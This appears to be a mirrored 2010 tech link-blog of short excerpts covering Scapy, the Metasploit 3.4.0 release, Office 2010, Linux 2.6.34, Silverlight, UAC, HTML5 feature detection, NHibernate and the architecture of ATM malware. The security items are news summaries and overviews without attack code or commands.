This is a mirror of official site: http://jasper-net.blogspot.com/

Scapy

| Thursday, May 20, 2010
About Scapy

What is Scapy

Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. See interactive tutorial and the quick demo: an interactive session (some examples may be outdated).
What makes scapy different from most other networking tools

First, with most other tools, you won't build someting the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said padding, not payload, see?). In fact, each time you have a new need, you have to build a new tool.
Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "this port is open" instead of "I received a SYN-ACK". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using tcpdump -xX to decode and interpret what the tool missed.

Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the padding ?

Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all.

In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy.

After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance.

Read more: Scapy

Posted via email from jasper22's posterous

Metasploit Framework 3.4.0 Released

|
After five months of development, version 3.4.0 of the Metasploit Framework has been released. Since the last major release (3.3) over 100 new exploits have been added and over 200 bugs have been fixed.

This release includes massive improvements to the Meterpreter payload; both in terms of stability and features, thanks in large part to Stephen
Fewer of Harmony Security. The Meterpreter payload can now capture screenshots without migrating, including the ability to bypass Session 0
Isolation on newer Windows operating systems. This release now supports the ability to migrate back and forth between 32-bit and 64-bit
processes on a compromised Windows 64-bit operating system. The Meterpreter protocol now supports inline compression using zlib,
resulting in faster transfers of large data blocks. A new command, "getsystem", uses several techniques to gain system access from a
low-privileged or administrator-level session, including the exploitation of Tavis Ormandy's KiTrap0D vulnerability. Brett Blackham
contributed a patch to compress screenshots on the server side in JPG format, reducing the overhead of the screen capture command. The
pivoting backend of Meterpreter now supports bi-directional UDP and TCP relays, a big upgrade from the outgoing-only TCP pivoting capabilities
of version 3.3.3.

This is the first version of Metasploit to have strong support for bruteforcing network protocols and gaining access with cracked
credentials. A new mixin has been created that standardizes the options available to each of the brute force modules. This release includes
support for brute forcing accounts over SSH, Telnet, MySQL, Postgres, SMB, DB2, and more, thanks to Tod Bearsdley and contributions from
Thomas Ring.


Read more: Metasploit

Posted via email from jasper22's posterous

Microsoft's Free, Online Version of Office To Premiere This Week

| Tuesday, May 18, 2010
Spreadsheets became Excel. Presentation software, if it was ever known by such a name, was simply PowerPoint. Long before Google's preeminence in search, Microsoft dominated business and personal software with a suite known as Office.

The company launches its latest version, Office 2010, on Wednesday in New York — and the stakes couldn't be higher.

The lucrative franchise is threatened by a changing market spouting a four-letter word: free. The biggest threat comes from Google, specifically Google Docs, Web applications accessible from any computer.

Because of Google, Microsoft has been forced to make a free ad-supported version called Office Web Apps.

Google's software is unlikely to depose Office, especially among heavy business users who write reports, draw up corporate budgets and put together sales presentations. But Office 2010 does represent a slow tipping of the entire technology industry, from a PC world Microsoft long has dominated to a cloud-computing world, where software roams free on the computer, phone, tablet and television, and the old ways of making money are changing.

"We think it's actually an opportunity for us," said Stephen Elop, president of Microsoft Business Division, which makes Office. "We have an opportunity to draw in many, many people who today are not engaged in the Office experience, or have not paid for software along the way, or are on very old software."

Wednesday's event at NBC Studios in New York will mark the first day business customers can buy copies of Office 2010 that gets installed on PCs. The software will start selling in stores to small businesses and consumers sometime in June. The free Office Web Apps also will be available to consumers in June.

Read more: The Seattle Times

Posted via email from jasper22's posterous

Rockstar Ships Max Payne 2 Cracked By Pirates

|
Jamie noticed a fairly amazing little story about Rockstar shipping a version of Max Payne 2 via Steam that was actually cracked by pirates to remove the DRM. The going theory was that it was easier for them to simply use the pirate group's crack than to actually remove their DRM themselves.

Read more: Slashdot

Posted via email from jasper22's posterous

Beautifully Rendered Music Notation With HTML

|
This is incredible. This guy has built a music notation engraver entirely in JavaScript, allowing for real-time music editing right in the browser. Here's a demo. The library has no external dependencies, and all the glyphs, scores, beams, ties, etc. are positioned and rendered entirely in JavaScript.

Read more: Slashdot
Official site: Demo

Posted via email from jasper22's posterous

Linux 2.6.34 Released

|
"Linux 2.6.34 has been released. This version adds two new filesystem, the distributed filesystem Ceph and LogFS, a filesystem for flash devices. Other features are a driver for almost-native KVM network performance, the VMware balloon driver, the 'kprobes jump' optimization for dynamic probes, new perf features (the 'perf lock' tool, cross-platform analysis support), several Btrfs improvements, RCU lockdep, Generalized TTL Security Mechanism (RFC 5082) and private VLAN proxy arp (RFC 3069) support, asynchronous suspend/resume, several new drivers and many other small improvements. See the full changelog here

Read more: Slashdot
Read more: Changelog

Posted via email from jasper22's posterous

IPsonar(R) — Delivering Global Network Visibility

|
Obtaining global network visibility requires accurate measurement of four factors: network topology, address space, leaks and device fingerprints.

Lumeta's IPsonar actively scans the network to collect all data related to these factors via Network, Host, Leak and Device Fingerprint Discovery. Network and security managers and executives can accurately visualize what's on the network, drilling down to analyze potential areas of risk and identify appropriate corrective actions. Organizations also receive alerts on potential issues, enabling them to work proactively toward a secure and compliant environment instead of simply reacting to issues once they have already impacted the network.

With the increased security and knowledge that IPsonar provides, the solution helps increase compliance with government and other mandates. IPsonar enables organizations to quickly and easily monitor compliance, prioritize trouble spots and resolve issues before audits occur. In addition, detailed reports can be generated, providing objective results rather so companies no longer have to depend on less reliable methods like word-of-mouth or extrapolation.

Read more: Lumeta IP Sonar

Posted via email from jasper22's posterous

Don’t think you can create an offline, non-browser, install for your OOB SilverLight apps? Nope! I mean, yep, I mean, yes, yes you can (and here’s how)…

| Monday, May 17, 2010
What?

Recently a friend asked me to help him create an ‘installer’ to pack and distribute the Silverlight game he recently developed. He wanted to distribute his game via software download websites (like download.cnet.com), and via medias like CD/DVD.

In fact, that is pretty easy (technically) - and this post is about creating and deploying Silverlight Runtime + Your Silverlight application (Xap file) using your very own custom, standalone, offline installer with out getting a browser installed - instead of the user installing your Silverlight application Out Of Browser via the web browser.

Alright. In this post, we’ll see how to build a standalone installer for Silverlight Nerd Dinner Client that I built some time earlier (It is a Silverlight client for Scott’s Nerddinner.com to enable nerds to ‘eat in packs’). The installer will start with a Splash screen as well ;).

Why?

I can already hear you thinking, “why this is required”? Think about this - You created a Nice game or a Cool gadget in Silverlight. Now you want to create a standalone Installer - so that you can push the same to your potential users via various means. Like, users may download your installer via CNET like software websites - or you may distribute your installer via CD/DVD media etc. In this way, you can push your Silverlight apps to the masses- instead of waiting for them to come to your website and discover it – You got it, that is what we are talking about :).

So, in short, I think Silverlight can be used a platform of choice for building light weight desktop applications, mainly applications like utility tools, light weight games etc.

I feel there are a good number of use cases where you want to do this.

You can write and deploy tiny apps and gadgets - with out worrying about the presence of/version of the .NET runtime in user’s machine.
You can maintain the same code base for your web and desktop versions if the scenario suits.
You can contribute towards increasing the number of boxes where Silverlight exists :). More people with Silverlight = a brighter web ;)
And yes, if you are doubtful about what you can really do from a Silverlight application that is running in an elevated trust, out of browser mode, check out this epic post from Justin Angel where he demonstrates how to do all whacky things with Silverlight + COM, including accessing Win 7 APIs, Accessing Scanners and printers, Adding your OOB application to windows startup etc. He rocks.

How?

So, let us see this in detail – …

Read more: Greg's Cool [Insert Clever Name] of the Day
Read more: amazeddaint's .net journal

Posted via email from jasper22's posterous

NET Wrapper for Setup API (Parses INF, OEM Files)

|
Introduction
Background
Using the Code
InfFile
InfLine
Error Checking and Reporting
Sample Code
History

Introduction

The Setup API is the recommended way to parse driver.INF and txtsetup.OEM files. Unfortunately, the Setup API is a collection of C style functions for which the .NET Framework has no equivalent interface. This article provides some simple .NET (C#) classes that wrap common functions from the Setup API used for parsing INF files.

Background

I once had a need to parse hundreds of driver.INF, txtsetup.OEM, and other random .INF files written by dozens of third-party companies and individuals. I quickly found that the syntax of these files is more complex than I originally thought. At first they appear simple, for example:

[Section 1]
key1 = field1,field2,fieldN
key2 = int,string,or,binary data
no,key,on,this,line

[Section2]
key1 = field1,field2

[Section 1]
keyN = field1,field2,fieldN


There can be many sections, each with many "key" lines. The keys are not necessarily unique, even within a section. Keys are not even required (a line can just be a list of values). Notice that [Section 1] appears twice. This is valid syntax that the Setup API handles transparently, as if the section wasn't physically split.

There can be many fields on a given line. The fields can contain integers, strings, multi-strings, and binary data. There are all kinds of rules regarding comments, string fields with embedded blanks/commas/quotes, decimal vs. hex integer formats, line continuation, and localized string substitution.

The text encoding for .INF files is not ASCII or even UTF-8. It's "Windows Western European", also known as Code Page 1252. This is a single-byte encoding very similar to, but not the same as, ASCII. Certain characters, such as the "registered" or "trademark" symbols (I don't remember which) have different encodings in Code Page 1252 compared to ASCII (or don't even exist in ASCII).

Heed my warning, grasshopper: You do not want to parse such files manually. You want to use the Setup API since it can handle all the syntactic nuances you might stumble across.

After using the Setup API directly for a while, I found myself repeating the same code patterns and error checking over and over. Many of the functions use a file handle or a C structure just begging to be encapsulated in a class, so I decided to write some C# wrapper classes. Using these classes made my code significantly cleaner and easier to write.

Using the Code

The download contains two classes you will use directly: InfFile and InfLine.

InfFile

The InfFile constructor takes a file path. It merely captures the path, so no errors are possible.
InfFile.Open() opens the file. It returns 0 if it succeeds, a Win32 error code if it fails. More on error checking later.
InfFile.EnumSection() can be used to enumerate the sections within the file.
InfFile.FindFirstLine() returns an InfLine representing the first line within the specified section.
InfFile.FindFirstKey() returns an InfLine representing the first line within the specified section having the specified key.
When you're finished with the file, be sure to call InfFile.Close() or Dispose(). InfFile implements IDisposable.
InfLine

The InfLine class represents a line from within a section in the file. It has methods that do the following:

Get the number of fields on the line.
Get the string, multi-string (array), int, or bytes in the Nth field
Get an InfLine for the next sequential line or the next line with a given key.
When calling InfLine.GetString(int fieldNum), pass 0 to get the line's key (value left of "="). Pass 1 to get the first comma-separated value to the right of the "=", and so on.

As a rule, you have to have some idea of what sections and keys you're looking for, the type of data in each field, and so on. When parsing a true driver.inf file, many lines are references to other sections. For example, a string read from one line might the name of (or part of the name of) a section.

Error Checking and Reporting

Both classes contain two error-related properties: LastError and LastMessage. LastError is the Win32 error code from the last method called. After calling any method in either class, you can check if LastError is 0. If it's not 0, an error occurs and LastMessage contains the error message corresponding to the error code in LastError. These properties are reset when any method is called.

Also, most of the methods in both classes, such as InfLine.GetInteger(), have two overloads. In this case, both overloads accept an int specifying the field number that should contain an integer. An error occurs if the field doesn't contain an integer or there is no such field. The first overload (shown below) returns a Win32 error code (error codes are always uint). If no error occurs, it returns 0 and the int value read from the file is passed back as an out parameter. The second overload returns no error information.

public uint GetInteger(int fieldNum, out int intVal);
public int GetInteger(int fieldNum);
In either case, you can check LastError after calling the method, but sometimes it's more convenient to check the error code returned directly by the method.


Read more: Codeproject

Posted via email from jasper22's posterous

An Example ASP.Net MVC Web Project to Upload and Download Files

|
This article introduces an example ASP.Net MVC web Project to upload and download files.

Background

This is a short article to introduce an example ASP.Net MVC web project to upload and download files. If you need to know how ASP.Net MVC works, you can refer to one of my earlier articles "A Simple Tutorial on Developing ASP.Net Applications in MVC Pattern". This project is developed in Visual Studio 2008.

Read more: Codeproject

Posted via email from jasper22's posterous

Customizing the Visual Studio 2010 RTM Start Page

|
The last thing that any author wants to hear is that a reader has encountered an issue with one of the code samples given in the book. Unfortunately that’s what happened this morning with the Professional Visual Studio 2010 book that has only recently been published. What we hadn’t anticipated was that Microsoft would completely change the process that you follow to customize the Start Page in Visual Studio 210. This is a walk through that is available in Chapter 3 of the book so I wanted to take this opportunity to provide an alternative which works with the RTM version of the product.
In previous previews of Visual Studio 2010 the process started with you taking a copy of the default start page (ie StartPage.xaml) from C:\Program Files\Microsoft Visual Studio 10.0\Common7\IDE\StartPages\en. Unfortunately this file no longer exists. Instead in their infinite wisdom, Microsoft has compiled the start page xaml into baml and embedded it into an assembly somewhere.
I figured, no problems, I’ll just start with the code sample that we already had working. Of course, there are missing and broken references. Even after fixing some of the references I noticed that the styling wasn’t the same as the default start page, so they must have added some polish to the start page since the code sample for the book was generated. I then decided to look further into where the start page had been placed. There were a number of dlls that I thought to be likely candidates for the start page:

Microsoft.VisualStudio.Shell.10.0
Microsoft.VisualStudio.Shell.UI.Internal
Microsoft.VisualStudio.Shell.StartPage

Turns out it’s not in any of these assemblies (although it does reference controls and components from these assemblies as we’ll see later on). It’s located in Microsoft.VisualStudio.Shell.UI.Internal.resources.dll. I used RedGate’s .NET Reflector (http://www.red-gate.com/products/reflector) to trawl through these assemblies looking for start page references.

Read more: Professional Visual Studio

Posted via email from jasper22's posterous

SolidCore: Whitelisting as Anti-Virus Replacement

|
Solidcore security solutions utilize dynamic whitelisting technology, host intrusion prevention and configuration assessment capabilities to provide comprehensive malware protection with zero performance overhead. Solidcore has been granted a foundational patent for its endpoint security technology, and has been awarded “NSS Labs Approved” by NSS Labs, the globally recognized leader in independent security testing and certification.  Solidcore security solutions are currently replacing anti-virus on more than 100,000 devices worldwide.

Retail Point of Sale
Solidcore provides a single solution for securing and replacing anti-virus on retail point of sale (POS) systems. The solution combines dynamic whitelisting and host intrusion prevention to ensure only good software and code runs on a POS system while permitting software updates from authorized sources.

Kiosks/ATM
Solidcore provides a single solution for securing kiosks and automated teller machines (ATMs). The solution utilizes whitelisting, file integrity monitoring and configuration assessment capabilities to provide robust security and operational control for remotely deployed systems.

Windows NT
The Solidcore Windows NT security solution provides enterprises with a way to extend the lifespan of applications built on the legacy operating system without incurring business risk. The Solidcore solution locks down Windows NT systems against unwanted change and “solidifies” it into an appliance-like system that is impervious to malicious exploits and unwanted internal change.

Server Configuration Audit
Solidcore provides security configuration assessment and audit capabilities that allow for regular comparisons against the Center for Internet Security (CIS) benchmarks.  The solution enables customers to quickly identify incorrectly configured server and application settings.

Medical Devices
Solidcore provides a single solution for securing medical devices. The solution offers a unique combination of low touch application control and whitelisting security to reduce the number of in-field breakage incidents due to unauthorized changes or malware.

Read more: Solidcore

Posted via email from jasper22's posterous

Perforce as the version control system at Google

|
It is well known that Google uses Perforce as its internal source management system (it has a source license). Niall Kennedy writes:

Google uses a company-wide Perforce depot with almost no developer branches. Each developer has their own NFS workspace readable by anyone in the company, including automated processes. An administrative process takes snapshots of each developer workspace including local development environments accessed over SSH. Files within these snapshots can be compared to checked-in data, encrypted, and archived.

Dan Bloch did a presentation at Perforce European User Conference, called “Performance and Database Locking at Large Perforce Sites”. It contains statistics on Google Perforce Depot, such as:

More than 3000 users and 100Gb of metadata on one primary server;
Hardware is an HP DL585 4-way Opteron with 128Gb of memory;
Depot is on a NetApp filer;
Metadata and journal on RAID-10 local disk;

Read more: Version Control Blog

Posted via email from jasper22's posterous

Совместная работа над кодом в компании Google

|
Во второй главе книги «Coders at Work», Брэд Фицпатрик (Brad Fitzpatrick) — автор Live Journal, а сейчас сотрудник компании Google, помимо всяких интересных баек о создании Live Journal, об учебе и о многом другом, рассказывает и о принципах владения кодом и о совместной работе над ним в компании Google.

Как известно, в Google существует возможность использовать двадцать процентов своего рабочего времени в целях, отличных от целей текущего проекта (но в целях и интересах компании в целом). Это явление называется групплеты (grouplet) (об этом можно почитать в замечательной статье «The Google Way: Give Engineers Room», или в переводе этой статьи здесь), соответственно, у каждого разработчика может появиться дикое желание порыться в чужом коде и поучаствовать в каком-то проекте. А поскольку таких проектов, мягко говоря, много, то требуются некоторые формальные правила, которые позволят поддерживать весь код в актуальном состоянии и не позволят его качеству опускаться ниже определенного уровня.

В Google (по словам Брэда, сам не был, не знаю) весь код хранится в едином репозитории, с одним корнем огромного дерева и каждый человек может получить исходники любого проекта в любой момент времени. На это не накладывается никаких ограничений, т.е. доступ на чтение есть у каждого сотрудника, но это не означает, что любой желающий может залить этот код обратно со своими собственными исправлениями.

Для того, чтобы исправленный код попал обратно в репозиторий должны быть выполнены два требования. Во-первых, вы должны получить «одобрение» от владельца кода (code owner), а во-вторых, одобрение от сертифицированного специалисти по тому языку программирования, который используется в этом проекте (readability approved person) (кстати, совершенно не обязательно, чтобы это были два разных человека, две эти роли вполне могут ужиться и в одном человеке).

Владельцев у кода должно быть как минимум два (это уменьшает вероятность того, что код не будет закоммичен в репозиторий по причине того, что владелец кода заболел, уволился или женится), а за readability по определенному языку программирования в целом отвечает капитан (readability captain), заботой которого является поддержание достаточного количества специалистов по соответствующему языку программирования. Если вы или один из ваших прямых рецензентов являетесь readability expert, то все хорошо, в противном случае вам придется найти такого человека и привлечь его в качестве рецензента. Каждый человек может сдать соответствующий экзамен и стать тем самым readability expert-ом и либо участвовать в ревизии кода других сотрудников, либо же это позволит ему устранить один из этапов при сохранении собственного кода в репозиторий.

Read more: Habrahabr.ru

Posted via email from jasper22's posterous

Банкоматных вирусов пост

|
Речь сейчас пойдет о банкоматном вирусе, обнаруженном больше года назад в банкоматах Diebold, и основном принципе его работы. Тема эта древняя, пик истерии давно уже прошел, но общественность так и не узнала, что же произошло на самом деле, из-за чего даже ИТ-шники строят массу догадок и рассказывают мифы. Про этот вирус было написано много статей, от технических описаний до политпросвещения домохозяек, но самый главный трюк нам так и не раскрыли. Объяснять я постараюсь попроще, ибо нам важно понять суть, а не вникать в детали конкретной реализации чего-либо.

Начнем с начала. Год назад в СМИ поднялась паника: «в банкоматах вирусы!», вследствие чего все уважающие себя банковские управленцы эту панику поддержали и стали пытаться что-то сделать. Паника возникла неспроста: в мире бродит множество любителей халявы, т. н. кардеров, целью которых является получить данные вашей банковской карты, в т. ч. и PIN-код, чтобы потом сделать ее дубликат и снять все деньги или что-нибудь приобрести. Для этого придумываются разные способы обмана, но до появления вируса все они носили физический характер. А вот вирус весьма интересен, ибо вывел технологию принципиально на новый уровень – PIN-коды стали тырить на программном уровне. Надо заметить, что вирус еще умеет выдавать наличность в неограниченном объеме по спецкарте, но нам, как клиентам, на это наплевать, тут банк на деньги попадает, а не мы.

Теперь давайте сделаем поверхностный экскурс в сам банкомат, и разберемся, откуда там могут быть вирусы. Открою тайну: подавляющее большинство банкоматов работает под Windows XP. Догадливый читатель поймет, что в данном случае угроза налицо, и надо начинать бояться. Но не все так плохо, как кажется. Во-первых, добросовестные поставщики банкоматного софта этот Windows сильно урезают, отключая в нем все, что только можно, защищают порты, закрывают доступы и так далее. А во-вторых, банкомат никогда не смотрит прямо в интернет – он или в выделенном сегменте корпоративной сети, или подключен через какую-нибудь шифровалку, типа Cisco или Checkpoint, и вирусу туда пробраться, мягко говоря, без вариантов. Соответственно, выход тут только инсайдерский, ибо извне подсунуть что-то в банкомат проблематично.

А что же представляет собой типичный банкоматный софт? А вот что. Архитектура этого софта аналогична клиент-серверной. Сервер в данном случае умеет работать с конкретным железом (которого в банкомате навалом) и публикует наружу программные интерфейсы, общие для каждого типа железа (диспенсер, кардридер, принтер, клавиатура и т. д.). Клиент, т. е. само бизнес-приложение, в свою очередь, пользуясь этими интерфейсами, показывает нам рекламу, выдает долгожданную зарплату, печатает чеки и радостно мигает лампочками. Все это хозяйство называется стандартом CEN/XFS. Я, пожалуй, приложу картинку.

Read more: Habrahabr.ru

Posted via email from jasper22's posterous

Microsoft’s List of Opensource Projects

|
Here are some interesting facts mentioned in the website

+ 13,000 opensource projects hosted at Codeplex
3,50,000 opensource projects run on Windows
Microsoft’s Public license is one of the top 10 open source licenses today.
There are plenty of project lists that are mentioned here like 3DTools,ADODB,ajaxdoc,Apache POI and Open XML File Formats,ASP.NET AJAX Control Toolkit,Azure Ruby SDK for .NET Services,Bing 404 Web Page Error Toolkit for PHP,Eclipse Tools for Silverlight,MobileMVC,PHP Toolkit for ADO.NET Data Services,Restlet Extension for WCF Data Services and many more …

Check the following sample Opensource projects for the .NET Developers

ASP.NET Alerts
Messageboxes that can be used in ASP.NET that includes both client-side code and server-side .
Link : http://alerts.codeplex.com/

ASP.NET AJAX Control Toolkit
This adds the Ajax functionality to the ASP.NET Web Forms applications.

Link : http://www.asp.net/ajax

ASP.NET Real World Controls
ASP.NET Real World Controls has some nice custom and reusable controls which developers commonly need to implement in real world development.
Link : http://aspnetrealworldcontr.codeplex.com/

ASP.NET RSS Toolkit
This Toolkit gives the developers to consume and publish the RSS Feeds from the ASP.NET Applications.

Link : http://aspnetrsstoolkit.codeplex.com/

patterns & practices: Composite WPF and Silverlight
Link : http://compositewpf.codeplex.com/

patterns & practices – Enterprise Library
This is a collection of Application blocks to assist software developers with common development challenges.

Link : http://entlib.codeplex.com/

LINQ Expression Builder
A SQL to LINQ translator for Visual Studio 2008.
Link : http://expressionbuilder.codeplex.com/

Read more: Senthil Kumar's Blog

Posted via email from jasper22's posterous

If I’m an Administrator, Why Do I Get Access Denied ?

|
User Account Control (UAC) can seem mysterious. After all, if I’m a member of the Administrators group, shouldn’t I have access to everything?  If you’re a developer, you’ll run into a UAC issue sooner or later.  In this post, I’ll cover the basics that every developer should know.

Standard User by Default

Running applications as “Standard User” by default is what UAC is all about. Running processes with as few rights and privileges as possible is a common security defense in depth technique. UAC accomplishes this during the logon process. The traditional NT security model created a single access token at logon that all processes on the desktop used. The token contained privileges based on the groups the logged on user belonged.  With UAC enabled, the logon process creates the traditional “full” token and also creates a limited “filtered” token.  The filtered token contains only “standard user” privileges.

Here’s a slide to help illustrate the “by default” part.

The magic happens when explorer.exe is started using the filtered token.  Explorer.exe is your taskbar and is responsible for starting everything on the desktop. By default, child processes are started with the same token as their parent. Therefore, since explorer.exe is started with the filtered token, everything that is launched by the taskbar is standard user by default (presto!).

Bonus question: What token is used to start explorer.exe with UAC disabled? Answer: The full administrator token.  This is why Windows 7 (and Vista) behave like traditional NT with UAC disabled.

What if you want to use the full token?  You can run you application elevated (right click and select “Run as Administrator”). This will start the application with the full token instead of the filtered token. As an application developer, if you have a good reason to always start an application with the full token, you would set the appropriate run level in the manifest.

Let’s take a look at two different command prompts to illustrate this concept.

What’s a Standard User?
A standard user is only allowed to change their own settings and environment (per user).  An administrator can change system wide settings (per machine). Here’s a table of examples of what you can and can’t do as a standard user:

Allowed Not Allowed
Run most applications Install applications
Change per user settings Change system components
Read from per user and per machine locations Change per machine settings
Create local objects Perform operations requiring Admin privileges
Write to per machine locations
Create global objects


Just by simply limiting the scope of changes a user/application can perform can have a big impact on security, reliability, and stability of a machine. Enterprise guys who manage lots of desktops like the concept of standard user because it helps lower their TCO.

Finding UAC Issues
The first step to determine if you have a UAC issue is to try running the application elevated (right click – Run as Administrator). You can also try turning UAC off.  If your application works in one of these scenarios, you probably have a UAC issue.

UAC issues are caused by an application trying to make a change system wide. This means it’s trying to write to a per machine location or create something globally across all users.

Is your application trying to:

Write to Program Files, Windows, System32, HKLM/Software, or Root?
Create anything “globally” like a memory mapped file?
Send Windows messages between an app running as standard user to one running elevated? (See: this post)
If so, this is where to start looking for the problem.

After you have an idea of where the problem might be, Process Monitor is a great tool to start isolating the issue.  Process Monitor will log all file and registry activity and will usually point you in the right direction.

Read more: Pat's Application Compatibility Blog

Posted via email from jasper22's posterous

Loading Images Asynchronously on iPhone using NSInvocationOperation

|
The iPhone SDK often makes doing things very easy, as long as you know where to look. Loading an Image into an UIImageView is one of these things. The problem I ran into, however, was that loading the image took too much time when performing the operation synchronously. To my surprise it wasn't much harder to load the image on a background thread. This was easily accomplished using NSOperation, specifically the prebuilt subclass NSInvocationOperation.

In a typical situation you might be downloading an image from somewhere on the internet, in this case Flickr. Now this might be a small image, in which case it may not take that long. But that still depends on internet connection, site, and many other factors. So, if you wanted to code it up quick and dirty you might go with something like the following code, which will download the image synchronous and create an image from that data. Finally, it sets the image view's image property to the new image. Downloading the image blocks all user interaction and interface updating, not good for the user's experience.

NSData* imageData = [[NSData alloc] initWithContentsOfURL:[NSURL URLWithString:@"imageurl.jpg"]];
UIImage* image = [[UIImage alloc] initWithData:imageData];
[imageView setImage:image]; // UIImageView
[image release];
[imageData release];

Read more: Switch on code

Posted via email from jasper22's posterous

Google Analytics for Silverlight

|
Google Analytics for Silverlight – There are multiple analytics framework available to integrate with your Silverlight application.

There is SilverlightAnalytics and then there is MSAF. MSAF – Microsoft Silverlight Analytics Framework seems to be more promising with more extensiblity and feature full and with the backing from Microsoft. It supports out-of-browsers, offline capability, A/B Testing and Support multiple analytics services simultaneously without impacting performance. MSAF can be used by designers in Microsoft Expression Blend to add tracking to applications without coding.

Getting started with MSAF –
1. Download and install MSAF
2. Create a new Silverlight Navigation Application.
3. It’s easier to start with, using Microsoft Expression Blend as you can do drag and drop.
4. But you can add the code manually also. In the MainPage.xaml, add the following to the LayoutRoot

<i:Interaction.Behaviors>
     <ga:GoogleAnalytics WebPropertyId="UA-xxxxxx-x" />
</i:Interaction.Behaviors>

5. WebPropertyID is the Id you get from Google when you sign up for Analytics
6. Add references to WebAnalytics, Behaviours, Navigation and also add necessary references in xaml file.

xmlns:navigation="clr- namespace:System.Windows.Controls; assembly=System.Windows.Controls.Navigation"
xmlns:uriMapper="clr- namespace:System.Windows.Navigation; assembly=System.Windows.Controls.Navigation"
mc:Ignorable="d" xmlns:i="clr- namespace:System.Windows.Interactivity; assembly=System.Windows.Interactivity"
xmlns:mwab="clr-namespace:Microsoft.WebAnalytics.Behaviors; assembly=Microsoft.WebAnalytics.Behaviors"
xmlns:ga="clr-namespace:Google.WebAnalytics; assembly=Google.WebAnalytics"

Read more: citytech

Posted via email from jasper22's posterous

Как программно изменять настройки экрана с помощью .NET и Win32API ?

|
Часто перед нами стоит задача программно изменять настройки экрана (разрешение и тд). Это можно сделать с помощью Win32API.

1) Функция EnumDisplaySettings()
Получить один из режимов, которые поддерживает устройство.

BOOL EnumDisplaySettings(
LPCTSTR lpszDeviceName, // display device
DWORD iModeNum, // graphics mode
[In, Out] LPDEVMODE lpDevMode // graphics mode settings
);

Параметры:
1.1) lpszDeviceName - название устройства отображение, для которого получаем режимы отображения. Если равно NULL  - используется устройство по-умолчанию. Получить  устройство можно с помощью функции EnumDisplayDevices().
1.2) iModeNum - тип информации, которую мы хотим получить. Значение может быть следующее:
ENUM_CURRENT_SETTINGS = -1
Получить текущий режим отображения.
ENUM_REGISTRY_SETTINGS = -2
Получить текущий режим, установленный в регистрах.
1.3) lpDevMode - параметр типа DEVMODE (описан ниже) в который будет записан результат выполнения.
Данная функция может возвращать только один режим за вызов. Для получения всех режимов придется вызывать ее начиная со значения параметра iModeNum = 0 до тех пор пока функция не вернет False.

Для получения всех активных устройств используем - EnumDisplayDevices().

Для использования даннйо функции необходимо импортировать ее:

[DllImport("User32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern Boolean EnumDisplaySettings(

[param: MarshalAs(UnmanagedType.LPTStr)]
string lpszDeviceName,
[param: MarshalAs(UnmanagedType.U4)]
int iModeNum,
[In, Out]
ref DEVMODE lpDevMode);

Read more: .NET разработка от devlanfear

Posted via email from jasper22's posterous

Appendix A: The all-in-one almost alphabetical no-bullshit guide to detect everything

|
Confused? Read Detecting HTML5 Features for a conceptual introduction. Want an all-in-one library instead? Try Modernizr.)

<audio>
return !!document.createElement('audio').canPlayType;

<audio> in MP3 format
var a = document.createElement('audio');
return !!(a.canPlayType && a.canPlayType('audio/mpeg;').replace(/no/, ''));

<audio> in Vorbis format
var a = document.createElement('audio');
return !!(a.canPlayType && a.canPlayType('audio/ogg; codecs="vorbis"').replace(/no/, ''));

<audio> in WAV format
var a = document.createElement('audio');
return !!(a.canPlayType && a.canPlayType('audio/wav; codecs="1"').replace(/no/, ''));

<audio> in AAC format
var a = document.createElement('audio');
return !!(a.canPlayType && a.canPlayType('audio/mp4; codecs="mp4a.40.2"').replace(/no/, ''));

<canvas>
return !!document.createElement('canvas').getContext;

<canvas> text API
var c = document.createElement('canvas');
return c.getContext && typeof c.getContext('2d').fillText == 'function';

<command>
return 'type' in document.createElement('command');

<datalist>
return 'options' in document.createElement('datalist');

<details>
return 'open' in document.createElement('details');

<device>
return 'type' in document.createElement('device');

<form> constraint validation
return 'noValidate' in document.createElement('form');

Read more: Dive Into HTML5

Posted via email from jasper22's posterous

Not So Hidden Gems of NHibernate – Formula Discriminators

|
A friend of mine, Cristian Prieto, told me that he didn’t know how to do mapping of some entities to (in his terms) an evil legacy database.

There were two entities: Advertiser and Affiliate. As I said, this was a crazy legacy database. Both shares the same table with only one difference: If an entity is Affiliate, then it’s affiliate_id column will have a value, otherwise, a non-empty advertiser_id means it’s an Advertiser. Both cannot be the same at the same time.

Having gone through NHibernate code a while ago, I remember being able to discriminate on an expression (or in NH terms: Formula). I wasn’t sure about it, but Cristian verified that there is such thing that exists, and you can use it for such thing.

Here is the description of formula discriminator from the documentation.

view plaincopy to clipboardprint?
<discriminator  
       column="discriminator_column"    
       type="discriminator_type"        
       force="true|false"              
       insert="true|false"              
       formula="arbitrary SQL expression"  
/>  

formula (optional) an arbitrary SQL expression that is executed when a type has to be evaluated. Allows content-based discrimination

Read more: Tuna Toksoz

Posted via email from jasper22's posterous

SQL Injection prevention

| Sunday, May 16, 2010
Just asking people not to use a list of certain words is not prevention from SQL Injection

